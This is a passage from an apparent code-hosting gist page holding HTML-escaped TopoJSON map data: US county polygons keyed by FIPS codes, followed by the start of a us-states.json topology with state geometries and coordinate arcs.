rcs&quot;:[[-378,428,429,430,-425,-327,-380]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26013,&quot;arcs&quot;:[[431,432,433,434]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16035,&quot;arcs&quot;:[[-338,-317,435,436,437,-405,-231]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30017,&quot;arcs&quot;:[[438,439,440,441,-245,-398]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30087,&quot;arcs&quot;:[[-442,442,443,444,445,446,-322,-246]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30039,&quot;arcs&quot;:[[447,448,-314,-321]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27159,&quot;arcs&quot;:[[-343,449,450,-399,-354]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27035,&quot;arcs&quot;:[[-420,451,452,-340]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53049,&quot;arcs&quot;:[[[453,454,455,-331]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53041,&quot;arcs&quot;:[[-395,-357,-410,456,457,458,-454,-330]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30007,&quot;arcs&quot;:[[-415,459,460,-258]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27017,&quot;arcs&quot;:[[461,462,-416,-138]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26053,&quot;arcs&quot;:[[463,464,465,466,-422]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30065,&quot;arcs&quot;:[[-447,467,468,-287,-323]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26095,&quot;arcs&quot;:[[469,470,471,472,473]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30037,&quot;arcs&quot;:[[-469,474,475,476,477,-288]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30107,&quot;arcs&quot;:[[-289,-478,478,-411,-350]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53021,&quot;arcs&quot;:[[479,480,481,-250,-382,-388]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53005,&quot;arcs&quot;:[[482,483,484,485,-407,-251,-482]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27111,&quot;arcs&quot;:[[-451,486,487,488,489,-402,-400]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38037,&quot;arcs&quot;:[[490,491,492,-426,-431]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53023,&quot;arcs&quot;:[[493,494,495,-386]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30025,&quot;arcs&quot;:[[-369,496,497,498,499,-439,-397,-363]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16049,&quot;arcs&quot;:[[500,501,502,503,504,505,506,-436,-316]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30081,&quot;arcs&quot;:[[-449,507,508,509,-501,-315]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38029,&quot;arcs&quot;:[[-372,510,511,512,513,-429,-377]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38047,&quot;arcs&quot;:[[-376,514,515,-511,-371]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16069,&quot;arcs&quot;:[[-438,516,-506,517,518,-384,-406]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38087,&quot;arcs&quot;:[[519,520,521,-497,-368,-366,-428]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38045,&quot;arcs&quot;:[[522,523,524,-515,-375,-391]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38041,&quot;arcs&quot;:[[-493,525,-520,-427]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27167,&quot;arcs&quot;:[[-490,526,527,528,-403]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38073,&quot;arcs&quot;:[[-394,529,530,531,-523,-390]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38077,&quot;arcs&quot;:[[-529,532,533,534,-530,-393,-404]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53013,&quot;arcs&quot;:[[535,536,537,-480,-387,-496]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53071,&quot;arcs&quot;:[[-538,538,-483,-481]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55051,&quot;arcs&quot;:[[-466,539,540,541,542]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23025,&quot;arcs&quot;:[[543,544,545,546,547,548,-348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23021,&quot;arcs&quot;:[[549,-544,-347]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30043,&quot;arcs&quot;:[[-461,550,551,552,553,-319,-259]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26153,&quot;arcs&quot;:[[-472,554,555,556,557]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30111,&quot;arcs&quot;:[[558,559,560,561,-475,-468,-446]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30103,&quot;arcs&quot;:[[562,-559,-445]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16061,&quot;arcs&quot;:[[-437,-507,-517]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53003,&quot;arcs&quot;:[[-519,563,-494,-385]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38085,&quot;arcs&quot;:[[-514,564,565,-491,-430]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26071,&quot;arcs&quot;:[[-433,566,567,568,569,570,-464,-421,571]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27115,&quot;arcs&quot;:[[572,573,574,575,-417,-463]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23019,&quot;arcs&quot;:[[576,577,578,579,-545,-550,-346]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53059,&quot;arcs&quot;:[[-409,580,581,582,583,584,-457]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53015,&quot;arcs&quot;:[[-585,585,586,587,588,-458]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53069,&quot;arcs&quot;:[[[-459,-589,589,-455]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27153,&quot;arcs&quot;:[[-342,590,591,592,-487,-450]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27097,&quot;arcs&quot;:[[-453,593,594,595,-591,-341]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55125,&quot;arcs&quot;:[[596,597,-540,-465,-571,598]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41007,&quot;arcs&quot;:[[[599,600,601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38001,&quot;arcs&quot;:[[-492,-566,602,603,604,605,-521,-526]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38081,&quot;arcs&quot;:[[-535,606,607,608,-531]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38051,&quot;arcs&quot;:[[-525,609,610,611,-512,-516]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38021,&quot;arcs&quot;:[[-532,-609,612,613,-610,-524]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38011,&quot;arcs&quot;:[[-606,614,-498,-522]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30023,&quot;arcs&quot;:[[-554,615,616,-508,-448,-320]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26043,&quot;arcs&quot;:[[617,618,619,-568,620]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27095,&quot;arcs&quot;:[[621,622,623,624,-594,-452,-419]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30097,&quot;arcs&quot;:[[-477,625,626,-412,-479]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30031,&quot;arcs&quot;:[[-414,627,628,629,630,631,-551,-460]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30067,&quot;arcs&quot;:[[-627,632,633,634,-628,-413]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30093,&quot;arcs&quot;:[[635,636,-616,-553]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41009,&quot;arcs&quot;:[[[637,638,639,-600,640,-587]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27065,&quot;arcs&quot;:[[-576,641,-622,-418]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55013,&quot;arcs&quot;:[[642,643,644,645,-574,646]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55113,&quot;arcs&quot;:[[647,648,649,650,651]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55129,&quot;arcs&quot;:[[-651,652,-643,653]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30011,&quot;arcs&quot;:[[654,655,656,657,-440,-500]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30095,&quot;arcs&quot;:[[-562,658,-633,-626,-476]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27051,&quot;arcs&quot;:[[-489,659,660,661,-527]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27041,&quot;arcs&quot;:[[-593,662,663,-660,-488]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55041,&quot;arcs&quot;:[[664,665,666,667,668,-599,-570]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53011,&quot;arcs&quot;:[[-584,669,-638,-586]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53039,&quot;arcs&quot;:[[-486,670,671,672,673,674,-581,-408]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30003,&quot;arcs&quot;:[[-444,675,676,677,678,-560,-563]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27155,&quot;arcs&quot;:[[-662,679,680,681,-533,-528]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55037,&quot;arcs&quot;:[[-620,682,-665,-569]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41059,&quot;arcs&quot;:[[-537,683,684,685,686,-484,-539]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41063,&quot;arcs&quot;:[[-495,-564,-518,-505,687,688,689,-684,-536]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26109,&quot;arcs&quot;:[[690,691,692,-618,693]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55099,&quot;arcs&quot;:[[-598,694,695,696,697,-649,698,-541]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46105,&quot;arcs&quot;:[[699,700,701,702,703,-604]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46031,&quot;arcs&quot;:[[704,705,706,707,-700,-603,-565]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46063,&quot;arcs&quot;:[[-605,-704,708,-655,-499,-615]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46021,&quot;arcs&quot;:[[-612,709,710,-705,-513]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30001,&quot;arcs&quot;:[[-637,711,712,713,714,-509,-617]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46089,&quot;arcs&quot;:[[-614,715,716,717,-710,-611]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46013,&quot;arcs&quot;:[[-608,718,719,720,721,722,-716,-613]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46109,&quot;arcs&quot;:[[-682,723,724,725,726,-534]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46091,&quot;arcs&quot;:[[-727,727,-719,-607]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41049,&quot;arcs&quot;:[[-687,728,729,730,-671,-485]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55085,&quot;arcs&quot;:[[-669,731,732,-695,-597]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41061,&quot;arcs&quot;:[[733,734,-685,-690]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30057,&quot;arcs&quot;:[[-632,735,-712,-636,-552]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27009,&quot;arcs&quot;:[[-625,736,737,-595]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41021,&quot;arcs&quot;:[[738,739,740,-672,-731]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30075,&quot;arcs&quot;:[[-658,741,742,743,-676,-443,-441]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26031,&quot;arcs&quot;:[[744,745,746,747,748,749]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41057,&quot;arcs&quot;:[[[750,751,752,753,754,-601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41067,&quot;arcs&quot;:[[755,756,757,-751,-640]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27145,&quot;arcs&quot;:[[-738,758,759,760,761,762,-663,-592,-596]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27149,&quot;arcs&quot;:[[763,764,765,-680,-661]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27121,&quot;arcs&quot;:[[-763,766,767,-764,-664]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41055,&quot;arcs&quot;:[[768,-673,-741]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27059,&quot;arcs&quot;:[[769,770,771,-623,-642]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27025,&quot;arcs&quot;:[[-646,772,773,774,-770,-575]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55095,&quot;arcs&quot;:[[775,776,777,-773,-645]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41051,&quot;arcs&quot;:[[-670,-583,778,779,-756,-639]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41027,&quot;arcs&quot;:[[780,781,-779,-582,-675]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41065,&quot;arcs&quot;:[[-769,-740,782,783,784,785,-781,-674]]},{&quot;type&quot;:&quot;Poly</code></pre><p><em>Truncated — <a href="https://gist.github.com/f41c371da87a76c88b768c67e382e3ad">view the full gist</a>.</em></p>
<h3>us-states.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;states&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;geometries&quot;:[{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:1000,&quot;arcs&quot;:[[0,1,2,3,4]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:2000,&quot;arcs&quot;:[[[5]],[[6]],[[7]],[[8]],[[9]],[[10]],[[11]],[[12]],[[13]],[[14]],[[15]],[[16]],[[17]],[[18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:4000,&quot;arcs&quot;:[[44,45,46,47,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:5000,&quot;arcs&quot;:[[49,50,51,52,53,54]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:6000,&quot;arcs&quot;:[[55,-47,56,57]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:8000,&quot;arcs&quot;:[[58,59,60,61,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:9000,&quot;arcs&quot;:[[64,65,66,67]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:10000,&quot;arcs&quot;:[[68,69,70,71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:11000,&quot;arcs&quot;:[[72,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:12000,&quot;arcs&quot;:[[74,75,-2]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:13000,&quot;arcs&quot;:[[76,77,-75,-1,78,79]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:15000,&quot;arcs&quot;:[[[80]],[[81]],[[82]],[[83]],[[84]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16000,&quot;arcs&quot;:[[85,86,87,88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:17000,&quot;arcs&quot;:[[92,93,94,95,96,97]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:18000,&quot;arcs&quot;:[[98,99,-95,100,101]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:19000,&quot;arcs&quot;:[[102,-98,103,104,105,106]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:20000,&quot;arcs&quot;:[[107,108,-60,109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:21000,&quot;arcs&quot;:[[110,111,112,113,-96,-100,114]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:22000,&quot;arcs&quot;:[[115,116,117,-52]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23000,&quot;arcs&quot;:[[118,119]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:24000,&quot;arcs&quot;:[[[120]],[[121,-71,122,123,124,125,-74,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:25000,&quot;arcs&quot;:[[128,129,130,131,-68,132,133,134]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:26000,&quot;arcs&quot;:[[[135,-102,136]],[[137]],[[138,139]],[[140]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27000,&quot;arcs&quot;:[[141,-107,142,143,144]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:28000,&quot;arcs&quot;:[[-4,145,-116,-51,146]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:29000,&quot;arcs&quot;:[[-97,-114,147,-55,148,-108,149,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30000,&quot;arcs&quot;:[[150,151,152,-86,153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:31000,&quot;arcs&quot;:[[-105,-150,-110,-59,154,155]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:32000,&quot;arcs&quot;:[[-89,156,-48,-56,157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:33000,&quot;arcs&quot;:[[-119,158,-135,159,160]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:34000,&quot;arcs&quot;:[[161,-69,162,163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:35000,&quot;arcs&quot;:[[164,165,166,-45,-62]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:36000,&quot;arcs&quot;:[[167,-133,-67,168,-164,169,170]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:37000,&quot;arcs&quot;:[[171,172,-80,173,174]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38000,&quot;arcs&quot;:[[-144,175,-151,176]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:39000,&quot;arcs&quot;:[[177,178,-115,-99,-136,179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:40000,&quot;arcs&quot;:[[-149,-54,180,-165,-61,-109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41000,&quot;arcs&quot;:[[-90,-158,-58,181,182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:42000,&quot;arcs&quot;:[[-163,-72,-122,183,-178,184,-170]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:44000,&quot;arcs&quot;:[[[-130,185]],[[186,-65,-132]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:45000,&quot;arcs&quot;:[[187,-77,-173]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46000,&quot;arcs&quot;:[[-176,-143,-106,-156,188,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:47000,&quot;arcs&quot;:[[189,-174,-79,-5,-147,-50,-148,-113]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:48000,&quot;arcs&quot;:[[-53,-118,190,-166,-181]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:49000,&quot;arcs&quot;:[[191,-63,-49,-157,-88]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:50000,&quot;arcs&quot;:[[-160,-134,-168,192]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:51000,&quot;arcs&quot;:[[[-127,-73,-126,193,-175,-190,-112,194]],[[195,-124]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53000,&quot;arcs&quot;:[[[-91,-183,196]],[[197]],[[198]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:54000,&quot;arcs&quot;:[[-184,-128,-195,-111,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55000,&quot;arcs&quot;:[[-139,199,-93,-103,-142,200]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:56000,&quot;arcs&quot;:[[-189,-155,-64,-192,-87,-153]]}]}},&quot;arcs&quot;:[[[2632,3060],[5,-164],[7,-242],[4,-53],[3,-30],[-2,-19],[4,-11],[-5,-25],[0,-24],[-2,-32],[2,-57],[-2,-51],[3,-52]],[[2649,2300],[-14,-1],[-59,0],[-1,-25],[6,-37],[-1,-31],[2,-16],[-4,-28]],[[2578,2162],[-4,-6],[-7,31],[-1,47],[-2,6],[-3,-36],[-1,-34],[-7,9]],[[2553,2179],[-2,291],[6,363],[4,209],[-3,20]],[[2558,3062],[24,1],[50,-3]],[[1324,6901],[1,32],[6,-19],[-1,-32],[-8,4],[2,15]],[[1317,6960],[5,-23],[-3,-33],[-2,11],[0,45]],[[1285,7153],[6,5],[3,-8],[-1,-28],[-6,-6],[-5,17],[3,20]],[[1267,7137],[12,-7],[3,-36],[13,-41],[4,-25],[0,-21],[3,-4],[1,-27],[5,-27],[0,-25],[3,8],[2,-19],[1,-74],[-3,-17],[-7,3],[-3,38],[-2,-3],[-6,28],[-2,-10],[-5,10],[1,-28],[5,7],[3,-10],[-2,-39],[-5,4],[-9,49],[-2,25],[1,26],[-7,-2],[0,20],[5,2],[5,18],[-2,31],[-6,7],[-1,50],[-2,25],[-4,-18],[-2,28],[4,14],[-3,32],[2,8]],[[1263,6985],[5,-12],[4,15],[4,-7],[-4,-28],[-6,8],[-3,24]],[[1258,7247],[-4,19],[5,13],[15,-18],[7,1],[5,-36],[9,-29],[-1,-22],[-5,-11],[-6,5],[-5,-14],[-6,9],[-7,-9],[-1,45],[0,30],[-5,1],[-1,16]],[[1252,7162],[-4,14],[-4,32],[0,24],[3,11],[4,-11],[0,20],[12,-35],[1,-33],[-4,-5],[-3,-37],[3,-11],[-3,-43],[-5,9],[0,-27],[-3,13],[-2,54],[5,25]],[[1237,7124],[-1,-22],[-4,13],[-10,84],[-7,25],[3,20],[-3,48],[-8,39],[8,38],[3,-16],[7,-13],[6,-2],[0,-30],[6,-99],[0,-85]],[[1235,7494],[10,-15],[5,2],[0,-14],[8,-52],[-5,8],[-2,-18],[6,-27],[2,-48],[-6,-13],[-2,-16],[-10,-35],[-3,1],[-1,37],[2,22],[-1,32],[-3,40],[0,21],[-2,51],[-4,22],[-1,38],[7,-36]],[[1203,7324],[4,0],[4,-35],[-2,-24],[-6,-5],[1,38],[-1,26]],[[1191,7491],[8,-1],[6,17],[8,-23],[-5,-26],[2,-9],[4,28],[10,-9],[5,-21],[-3,-38],[3,-3],[3,-50],[-7,-7],[-14,41],[0,-42],[-4,-17],[-5,7],[-3,26],[-6,18],[-5,37],[-6,17],[1,30],[4,10],[1,26],[3,-11]],[[883,7871],[-12,-48],[-1,-19],[-9,-12],[2,29],[10,30],[7,34],[3,-14]],[[870,7943],[-2,-39],[-4,-41],[-6,14],[5,47],[7,19]],[[863,9788],[3,-8],[15,-9],[8,5],[10,0],[12,-7],[7,4],[7,-15],[12,-18],[16,-4],[5,10],[11,6],[4,14],[12,2],[0,-9],[7,5],[15,-15],[9,-24],[10,-11],[2,-11],[8,-2],[8,-18],[1,-11],[5,9],[6,-7],[0,-1783],[13,-16],[2,17],[14,-24],[8,30],[18,4],[-3,-52],[4,-17],[10,-17],[2,-27],[29,-101],[4,-63],[6,17],[12,31],[7,1],[3,23],[0,34],[5,0],[1,31],[9,7],[13,26],[13,-45],[-1,-27],[3,-27],[7,-7],[10,-40],[-1,-12],[4,-22],[12,-25],[19,-110],[3,-29],[6,-29],[8,-65],[9,-55],[-3,-23],[9,-9],[-2,-33],[7,-14],[1,-38],[7,2],[14,-40],[9,-7],[5,-19],[4,-5],[1,-19],[9,-5],[3,-23],[-4,-43],[1,-36],[4,-58],[-3,-15],[-7,-53],[-10,-39],[-3,20],[-4,-6],[-3,39],[1,17],[-3,20],[7,21],[-2,7],[-7,-26],[-3,17],[-4,-10],[-12,42],[4,46],[-8,-15],[0,-23],[-6,17],[-1,22],[4,24],[-1,24],[-6,-19],[-6,42],[-3,-8],[-2,36],[5,23],[6,0],[-2,28],[3,36],[-5,-1],[-9,32],[-6,37],[-15,27],[0,77],[-4,9],[1,31],[-5,9],[-8,42],[-2,22],[-12,7],[-14,56],[-6,132],[-3,-30],[1,-27],[6,-53],[-1,-8],[3,-43],[0,-28],[-6,6],[-4,31],[-6,6],[-8,-9],[0,45],[-5,38],[-4,-12],[-18,40],[-2,-11],[10,-13],[7,-31],[3,-1],[1,-25],[4,-30],[-10,-16],[-5,10],[0,-26],[-8,20],[-2,14],[-5,0],[-13,38],[-10,33],[0,20],[-6,30],[-14,21],[-9,21],[-14,26],[-9,24],[1,26],[2,-9],[3,17],[-3,38],[4,21],[-2,9],[-7,-40],[-14,-26],[-18,10],[-14,24],[-1,18],[-7,-4],[-7,14],[-17,12],[-9,1],[-21,-10],[-8,-7],[-10,27],[-12,12],[-3,17],[-2,28],[-8,-2],[-3,-25],[-15,34],[-2,14],[-15,-27],[-7,-32],[-3,30],[3,17],[4,-5],[14,22],[-2,17],[-6,-8],[-3,22],[-6,3],[-6,55],[-3,-13],[-8,-8],[-3,8],[-3,-18],[-11,6],[-1,-20],[-7,-5],[-3,7],[2,36],[-3,-1],[-5,-38],[7,-12],[1,-27],[4,-30],[-3,-31],[-5,10],[-2,-15],[6,-7],[3,-41],[-8,-9],[-4,9],[-7,-12],[-3,10],[-9,-2],[0,16],[-4,-10],[-3,-20],[-3,18],[-5,-25],[2,-12],[-6,-15],[-6,-2],[-3,-20],[-6,-17],[-4,6],[-5,-21],[-4,1],[-8,-43],[-9,-3],[-3,14],[-5,-23],[-11,17],[2,33],[8,11],[4,-2],[2,13],[8,25],[0,21],[-11,-28],[-9,16],[-1,12],[5,48],[8,34],[1,29],[2,5],[1,30],[-4,34],[10,12],[19,48],[4,-19],[6,-5],[9,20],[-10,26],[-4,20],[-7,-2],[-5,9],[-2,-8],[-9,-14],[-4,-26],[-9,-6],[-9,-30],[-1,-20],[-7,-11],[-2,-22],[-5,-13],[-2,-39],[-10,-25],[5,-20],[-4,-29],[-9,-5],[-1,-38],[-8,-13],[-3,15],[-4,-29],[-5,-1],[1,-21],[-11,-13],[-2,-57],[12,-3],[10,-16],[3,-19],[-4,-30],[-7,-19],[-6,-1],[0,-17],[-4,-6],[1,-21],[-4,-31],[-9,-29],[-5,0],[-5,-11],[-5,2],[-3,-11],[1,-16],[-7,-8],[-2,-23],[-5,14],[-5,-45],[-9,4],[1,-24],[-6,6],[-3,-11],[0,-32],[-6,-50],[-10,-6],[-7,-23],[-2,-13],[-5,18],[-8,-48],[-2,13],[-5,-4],[-1,-27],[-5,-10],[-6,4],[-4,-27],[8,-9],[-9,-60],[-25,-20],[-6,-54],[-2,12],[1,33],[-5,6],[-6,-13],[-1,-14],[-10,-22],[-4,-25],[-1,18],[-2,-21],[-6,14],[-10,-33],[-8,2],[1,25],[-4,2